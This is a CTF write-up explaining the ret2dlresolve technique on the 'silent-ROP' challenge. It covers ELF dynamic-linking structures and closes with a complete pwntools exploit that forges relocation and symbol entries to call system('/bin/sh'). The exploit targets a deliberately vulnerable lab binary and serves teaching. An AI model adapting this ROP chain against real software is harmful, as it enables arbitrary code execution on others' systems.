Pwn - Return to dl-resolve Technique

0x0 Introduction

in th recent k3rn31ctf, there is a pwn question silent-ROP.

In this challenge, there is no output, neither put or printf is imported. So there is no way we can get the libc address/version. Therefore, normal way of ret2libc didn't work in this case, because we can't get the address of system function.

:> ii
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x08049070 GLOBAL FUNC       read
2   0x00000000 WEAK   NOTYPE     __gmon_start__
3   0x08049080 GLOBAL FUNC       __libc_start_main
4   0x00000000 GLOBAL OBJ        stdin
5   0x08049090 GLOBAL FUNC       setvbuf
6   0x00000000 GLOBAL OBJ        stdout

To solve this question, it required technique called ret2dlresolve, after serveral hour of reading article, i finally understand the process of return to dl resolve

here is some article I found useful

  1. 0ctf babystack with ret2dlresolve
  2. ROP之return to dl-resolve
  3. how dl-resolve works

0x1 How dl resolve works.

to perfrom ret2dlresolve, first we need to know how how dl resolve works. The detailed explaination can be found in the third link (how dl-resolve works) in the Introduction.

Take the silent-rop as example.

Which part are used in dl resolve

first take look at .dynamic section, the dynamic section contains some address that will be used in the dl resolve.

(pyenv) aynakeya@LAPTOP-T6NBK8L5:~/ctf/k3rn3lctf2021/silent-rop$ readelf -d silent-ROP

Dynamic section at offset 0x2f0c contains 24 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x8049000
 0x0000000d (FINI)                       0x80492dc
 0x00000019 (INIT_ARRAY)                 0x804bf04
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x804bf08
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x8048228
 0x00000005 (STRTAB)                     0x80482c8
 0x00000006 (SYMTAB)                     0x8048248
 0x0000000a (STRSZ)                      95 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x804c000
 0x00000002 (PLTRELSZ)                   24 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x8048370
 0x00000011 (REL)                        0x8048358
 0x00000012 (RELSZ)                      24 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x8048338
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x8048328
 0x00000000 (NULL)                       0x0

There are 3 important segment JMPREL, STRTAB and SYMTAB.

SYMTAB & STRTAB

first lets take look at SYMTAB and STRTAB, those two section are actually closely related.

  • SYMTAB segment refer to section.dynsym (in this case 0x08048248)

  • STRTAB segment refer to section.dynstr (in this case 0x080482c8)

in elf sections, they are consecutive in adress

[0x08049235]> iS
[Sections]
nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
6   0x00000248   0x80 0x08048248   0x80 -r-- .dynsym
7   0x000002c8   0x5f 0x080482c8   0x5f -r-- .dynstr

.dynstr is a simple list that store all the function name. as shown at 0x080482c8.

.dynsym store the offset of function name in the .dynstr
and each Elf32_Sym struct have length of 0x10

typedef struct 
{ 
   Elf32_Word st_name ; /* Symbol name (string tbl index) */
   Elf32_Addr st_value ; /* Symbol value */ 
   Elf32_Word st_size ; /* Symbol size */ 
   unsigned char st_info ; /* Symbol type and binding */ 
   unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */ 
   Elf32_Section st_shndx ; /* Section index */ 
} Elf32_Sym ;
[0x08049235]> px @ 0x08048248
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x08048248  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x08048258  2000 0000 0000 0000 0000 0000 1200 0000   ...............
0x08048268  5000 0000 0000 0000 0000 0000 2000 0000  P........... ...
0x08048278  3400 0000 0000 0000 0000 0000 1200 0000  4...............
0x08048288  1a00 0000 0000 0000 0000 0000 1100 0000  ................
0x08048298  2c00 0000 0000 0000 0000 0000 1200 0000  ,...............
0x080482a8  2500 0000 0000 0000 0000 0000 1100 0000  %...............
0x080482b8  0b00 0000 04a0 0408 0400 0000 1100 1100  ................
0x080482c8  006c 6962 632e 736f 2e36 005f 494f 5f73  .libc.so.6._IO_s
0x080482d8  7464 696e 5f75 7365 6400 7374 6469 6e00  tdin_used.stdin.
0x080482e8  7265 6164 0073 7464 6f75 7400 7365 7476  read.stdout.setv
0x080482f8  6275 6600 5f5f 6c69 6263 5f73 7461 7274  buf.__libc_start
0x08048308  5f6d 6169 6e00 474c 4942 435f 322e 3000  _main.GLIBC_2.0.
0x08048318  5f5f 676d 6f6e 5f73 7461 7274 5f5f 0000  __gmon_start__..
0x08048328  0000 0200 0000 0200 0200 0200 0200 0100  ................
0x08048338  0100 0100 0100 0000 1000 0000 0000 0000  ................

for example, lets take look at second Elf32_Sym struct in the .dynsym

0x08048258  2000 0000 0000 0000 0000 0000 1200 0000   ...............

0x20 indicate the string offset in .dynstr. if we take look at .dynstr + 0x20, we can found the corresponding function name string "read\x00"

[0x08049235]> px @ 0x080482c8+0x20
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x080482e8  7265 6164 0073 7464 6f75 7400 7365 7476  read.stdout.setv

JMPREL

  • JMPREL refer to the section.rel.plt
(pyenv) aynakeya@LAPTOP-T6NBK8L5:~/ctf/k3rn3lctf2021/silent-rop$ readelf -r silent-ROP

Relocation section '.rel.plt' at offset 0x370 contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804c00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
0804c010  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804c014  00000507 R_386_JUMP_SLOT   00000000   setvbuf@GLIBC_2.0
[0x08049235]> px @ 0x08048370
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x08048370  0cc0 0408 0701 0000 10c0 0408 0703 0000  ................
0x08048380  14c0 0408 0705 0000 0000 0000 0000 0000  ................

the data structure of .rel.plt are very different in x86 and x64 system. In this case, we are looking at x32 binary. So, in x86 system, the struct of .rel.plt is Elf32_Rel

typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
  Elf32_Addr    r_offset;               /* Address */
  Elf32_Word    r_info;                 /* Relocation type and symbol index */
} Elf32_Rel;
#define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff)

r_offset store the address of Global offset table of corresponding function.

r_info store the index address of Elf32_Sym

For example, the read function in .rel.plt have r_offset of 0x8040c00c, which is the address of read in GOT.

;-- section..got.plt:
;-- .got.plt:
;-- _GLOBAL_OFFSET_TABLE_:
0x0804c000      or al, 0xbf        ; 191 ; [24] -rw- section size 24 named .got.plt
0x0804c002      add al, 8
0x0804c004      add byte [eax], al
0x0804c006      add byte [eax], al
0x0804c008      add byte [eax], al
0x0804c00a      add byte [eax], al
;-- read:
0x0804c00c      .dword 0x08049040  ; RELOC 32 read
;-- __libc_start_main:
0x0804c010      .dword 0x08049050  ; RELOC 32 __libc_start_main
;-- setvbuf:
0x0804c014      .dword 0x08049060  ; RELOC 32 setvbuf

r_info is 0701 in this case, which indicate the sym index is 0x01.

so, if we take look at Elf32_Sym struct at .dynsym + 0x01 * 0x10 (SYMTAB + index * length).

as shown in the SYMTAB part, this indicate the function read. which is exactly what we want.

[0x08049235]> px @ 0x08048248 + 0x01*0x10
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x08048258  2000 0000 0000 0000 0000 0000 1200 0000   ...............

Process of dl resolve

Before all

Since dl resolve is called only when lazy binding is enabled. So dl resolve can only be called when the binary is Partial RELRO or No RELRO

If a binary is Full RELRO, this means dl resolve will not be called. Therefore, it is return to dl resolve will not work in Full RELRO binary

before call dl resolve

  1. normally, if we want to call a funtion. we first call function address at PLT.
  2. if it is the first time call this function, the PLT will jump to GOT, push the real function address and jump back to plt, save the real function address to PLT for next call and then call the fucntion
  3. if there is already a address in PLT, it just call the function

but what if there is no value in the GOT due to lazy binding? here it comes dl resolve

dl resolve

  1. if the GOT return 0x0, the the binary will use _dl_runtime_resolve() to find the real address
  2. after getting the real address, it will save the real address to GOT
  3. call the function with parameter.

_dl_runtime_resolve function is called in front of section.plt

;-- section..plt:
;-- .plt:
0x08049030      push dword [0x804c004] ; 0x804c004 is link_map
0x08049036      jmp dword [0x804c008] ; 0x804c008 is the address of _dl_runtime_resolve
0x0804903c      nop dword [eax]
0x08049040      endbr32
0x08049044      push 0
0x08049049      jmp section..plt
0x0804904e      nop

_dl_runtime_resolve do the following things

  1. it take link_map which store the all information of imported library
  2. it also take rel_offset, which indicate the offset of struct of Elf32_Rel to .rel.plt
  3. then it read the r_info in Elf32_Rel
  4. use r_info to find Elf32_Sym
  5. use Elf32_Sym struct to find function name
  6. search by function name and then return real function address
  7. call the function by it's paramter
_dl_runtime_resolve(link_map, rel_offset) {
    Elf32_Rel * rel_entry = JMPREL + rel_offset ;
    Elf32_Sym * sym_entry = &SYMTAB [ ELF32_R_SYM ( rel_entry -> r_info )];
    char * sym_name = STRTAB + sym_entry -> st_name ;
    _search_for_symbol_(link_map, sym_name);
}

0x2 How return to dl-resolve work

notice that in _dl_runtime_resolve, it use rel_offset to find the struct of Elf32_Rel and get the function name.

also notice that the boundary check for rel_offset is missing, so we an pass any value to the function

if we can find a writable address that higher than JMPREL, we can try to make a fake Elf32_Rel struct in fake section.rel.plt along with fake section.dynsym and fake section.dynstr

after making those fake section, pass the section address offset to _dl_runtime_resolve, then _dl_runtime_resolve will automatically call the function.

0x4 Example Solution

# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x8048000)
  1. the binary have an very obvious buffer overflow in vuln, so we can easily write ebp and eip
  2. first we need to use read to create our fake section and ropchian to call dl_resolve
  3. we want to fake the main to call read(0,fake_stack_address,0x300)
  4. after creating fake stack, we want point esp to our fake stack and use ret to execute dl_resolve, there fore, we use leave;ret
fake_stack_address <- saved ebp
jmp read <- call read
leave;ret; <- saved eip. but we want to first point esp to the our stack and then ret so we can execute dl_resolve
0x0 <- para 1
fake_stack_address <- para 2
fake_stack_length=0x300 < para 3
main stack
  1. then, in the stack we need to forge all the section we need and create rop chain
AAAA <- fake ebp
// we want to fake that system call dl_resolve
// push fake section.rel.plt
dl_resolve
fake_rel_plt_ptr
AAAA <- fake eip
"/bin/sh" ptr <- parameter 1
// some fake stack where it call system("/bin/sh")

-

// fake section.rel.plt
{
   Elf32_Addr r_offset ; /* Address */  Fake got
   Elf32_Word r_info ; /* Relocation type and symbol index */  point to fake section.dynsym
}
// fake section.dynsym
point to "system" in fake section.dynstr
// fake section.dynstr
"system"
// fake got
// fake text
"/bin/sh"

0x5 Example Exploits

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template silent-ROP
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('silent-ROP')
libc = ELF("libc.so.6")
rop = ROP(exe)

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)


# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())


# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x8048000)

# 0x08048000 - 0x08049000 - usr     4K s r-- /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP ; segment.ehdr
# 0x08049000 - 0x0804a000 - usr     4K s r-x /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP ; map._home_aynakeya_ctf_k3rn3lctf2021_silent_rop_silent_ROP.r_x
# 0x0804a000 - 0x0804b000 - usr     4K s r-- /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP ; obj._fp_hw
# 0x0804b000 - 0x0804c000 - usr     4K s r-- /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP ; map._home_aynakeya_ctf_k3rn3lctf2021_silent_rop_silent_ROP.r__
# 0x0804c000 - 0x0804d000 - usr     4K s rw- /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP ; map._home_aynakeya_ctf_k3rn3lctf2021_silent_rop_silent_ROP.rw_
#

# [0xf7ef7120]> px @ 0x8048248
# - offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
# 0x08048248  0000 0000 0000 0000 0000 0000 0000 0000  ................
# 0x08048258  2000 0000 0000 0000 0000 0000 1200 0000   ...............
# 0x08048268  5000 0000 0000 0000 0000 0000 2000 0000  P........... ...
# 0x08048278  3400 0000 0000 0000 0000 0000 1200 0000  4...............
# 0x08048288  1a00 0000 0000 0000 0000 0000 1100 0000  ................
# 0x08048298  2c00 0000 0000 0000 0000 0000 1200 0000  ,...............
# 0x080482a8  2500 0000 0000 0000 0000 0000 1100 0000  %...............
# 0x080482b8  0b00 0000 04a0 0408 0400 0000 1100 1100  ................
# 0x080482c8  006c 6962 632e 736f 2e36 005f 494f 5f73  .libc.so.6._IO_s
# 0x080482d8  7464 696e 5f75 7365 6400 7374 6469 6e00  tdin_used.stdin.
# 0x080482e8  7265 6164 0073 7464 6f75 7400 7365 7476  read.stdout.setv
# 0x080482f8  6275 6600 5f5f 6c69 6263 5f73 7461 7274  buf.__libc_start
# 0x08048308  5f6d 6169 6e00 474c 4942 435f 322e 3000  _main.GLIBC_2.0.
# 0x08048318  5f5f 676d 6f6e 5f73 7461 7274 5f5f 0000  __gmon_start__..
# 0x08048328  0000 0200 0000 0200 0200 0200 0200 0100  ................
# 0x08048338  0100 0100 0100 0000 1000 0000 0000 0000  ................
def log_print(*msg):
    log.info(" ".join(msg))


def int2byte(x: int):
    return x.to_bytes(0x4, "little")


# at the beginning of .plt
dl_resolve_ptr = exe.get_section_by_name(".plt")["sh_addr"]
log_print("dl_resolve:", hex(dl_resolve_ptr))

section_dynstr, section_dynsym, section_rel_plt = map(exe.dynamic_value_by_tag,
                                                      ["DT_STRTAB", "DT_SYMTAB", "DT_JMPREL"])

log_print(".dynstr:", hex(section_dynstr))
log_print(".dynsym:", hex(section_dynsym))
log_print(".rel.plt:", hex(section_rel_plt))

writable_ptr = 0x0804d000 - 0x400
fake_stack_address = writable_ptr
rop_offset = 0x0
fake_rel_plt_offset = 0x140
fake_dynsym_offset = 0x160 + section_dynsym % 0x10  # align to 0x10 multiplication + section_dynsym
fake_dynstr_offset = 0x190
fake_got_offset = 0x1e0
fake_text_offset = 0x1f0
fake_stack_length = 0x300
# fake section.text
fake_text = b"/bin/sh\x00"
# fake section.dynstr
fake_dynstr = b"system\x00"
# fake section.dynsym
fake_dynsym = flat({
    0x0: (writable_ptr + fake_dynstr_offset) - section_dynstr,  # system\x00 offset to section.dynstr
    0xc: 0x12  # just copy paste from origin section.dynsym
}, filler=b"\x00", length=0x10)

fake_sym_index = (writable_ptr + fake_dynsym_offset - section_dynsym) // 0x10
log_print(hex(fake_sym_index))
r_info = (fake_sym_index << 8) | 0x7
log_print(hex(r_info))
fake_rel_plt = flat({
    0x0: writable_ptr + fake_got_offset,
    0x4: r_info,
}, filler=b"\x00", length=0x8)

call_dl_resolve = flat({
    0x0: [
        b"AAAA", # fake ebp
        dl_resolve_ptr,
        (writable_ptr + fake_rel_plt_offset) - section_rel_plt,  # section.rel.plt function offset
        b"AAAA",
        writable_ptr + fake_text_offset
    ]
})
log_print(hex((writable_ptr + fake_rel_plt_offset)), hex(section_rel_plt),hex((writable_ptr + fake_rel_plt_offset) - section_rel_plt))

fake_call_system_stack = flat({
    rop_offset: call_dl_resolve,
    fake_rel_plt_offset: fake_rel_plt,
    fake_dynsym_offset: fake_dynsym,
    fake_dynstr_offset: fake_dynstr,
    fake_text_offset: fake_text,
},filler=b"\x00",length=fake_stack_length)

'''
0x0804c100
AAAA <- fake ebp
// we want to fake that system call dl_resolve
// push fake section.rel.plt
dl_resolve
fake_rel_plt_ptr
-
AAAA <- fake eip
"/bin/sh" ptr <- parameter 1
// some fake stack where it call system("/bin/sh")
-
// fake section.rel.plt
{
   Elf32_Addr r_offset ; /* Address */  Fake got
   Elf32_Word r_info ; /* Relocation type and symbol index */  point to fake section.dynsym
}
// fake section.dynsym
point to "system" in fake section.dynstr
// fake section.dynstr
"system"
// fake got
// fake text
"/bin/sh"
'''
jump_to_call_system_stack = flat({
    0x18: [
        fake_stack_address, # ebp
        exe.plt['read'], # call read to write stack into the target
        rop.find_gadget(['leave', 'ret'])[0],
        0,
        fake_stack_address,
        fake_stack_length,
        ],
    }, filler=b'\x00')
'''
origin
saved ebp
save eip
stack of main

we want to fake the main to call read(0,fake_stack_address,0x300),
fake_stack_address <- saved ebp
jmp read <- 
leave;ret; <- saved eip. but we want to first point esp to the our stack and then ret so we can execute dl_resolve
0x0 <- para 1
fake_stack_address <- para 2
fake_stack_length=0x300 < para 3
main
'''

io = start()
if input("debugger?") == "y\n":
    pid = util.proc.pidof(io)[0]
    print("The pid is: " + str(pid))
    util.proc.wait_for_debugger(pid)
    input("press enter to continue")
input("send first payload")
io.sendline(jump_to_call_system_stack)
input("send second payload")
io.sendline(fake_call_system_stack)
io.interactive()

0x6 Flag

flag{r3t_2_dl_r3s0lve_d03s_n0t_n3ed_a_l34k}